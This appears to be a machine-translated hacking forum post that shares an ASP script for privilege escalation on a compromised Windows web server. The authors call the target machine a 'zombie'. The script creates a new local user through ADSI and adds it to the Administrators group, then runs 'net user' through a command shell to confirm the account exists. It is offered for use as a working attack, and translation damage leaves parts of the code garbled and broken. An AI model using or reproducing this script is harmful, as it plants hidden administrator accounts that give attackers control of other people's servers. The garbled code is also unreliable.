Add the Super User's. asp code [blue screen originality, Kevin improvement, unpublished Ms vulnerabilities]

Add the Super User's. asp code [blue screen originality, Kevin improvement, unpublished Ms vulnerabilities]
Author: blue screen, Kevin's Article Source: freezing point limit
In fact, Kevin and I tested it on my zombie last week, and the hippo epic. the result is that the Administrator group is successfully added under the user permission (although I can't believe my eyes ).
I did not dare to publish the last time Kevin spoke .... now that he has published the post on his blog, It will be transferred (a little better than I did in the last test, and a form is added ). blessed are You '''

The code is correct, but it rarely succeeds. It depends on luck .. Well, next I want to integrate him into the ocean. Hey.Copy codeThe Code is as follows: <Form action = "useradd. asp" method = post>
User: <input name = "username" type = "text" value = "kevin1986"> <br>
Password: <input name = "passwd" type = "password"> <br>
<Input type = "submit" Value = "">
</Form>

<% @ Codepage = 936
On error resume next
If request. servervariables ("REMOTE_ADDR") <> "127.0.0.1" then
Response. write "iP! S n0T RiGHt"
Else
If request ("username") <> "" then
Username = request ("username ")
Passwd = request ("passwd ")
Response. Expires = 0
Session. TimeOut = 50
Server. ScriptTimeout = 3000
Set lp = Server. createObject ("WSCRIPT. NETWORK ")
Oz = "WinNT: //" & lp. ComputerName
Set ob = GetObject (oz)
Set oe = GetObject (oz & "/Administrators, group ")
Set od = ob. create ("user", username)
Od. SetPassword passwd
Od. SetInfo
Oe. Add oz & "/" & username
If err then
Response. write "~~ Do not buy 6 + 1 today ...... Save 2 yuan to buy a bottle of cola ...... "
Else
If instr (server. createobject ("Wscript. shell" cmd.exe c ("cmd.exe/c net user" & username. stdout. readall), "Last login")> 0 then
Response. write "although there is no error, it seems that it has not been established successfully. You must be very depressed"
Else
Response. write "OMG! "& Username &" is an account! This is an unknown vulnerability. 5,000,000 RMB is yours"
End if
End if
Else
Response. write "Enter the user name"
End if
End if
%>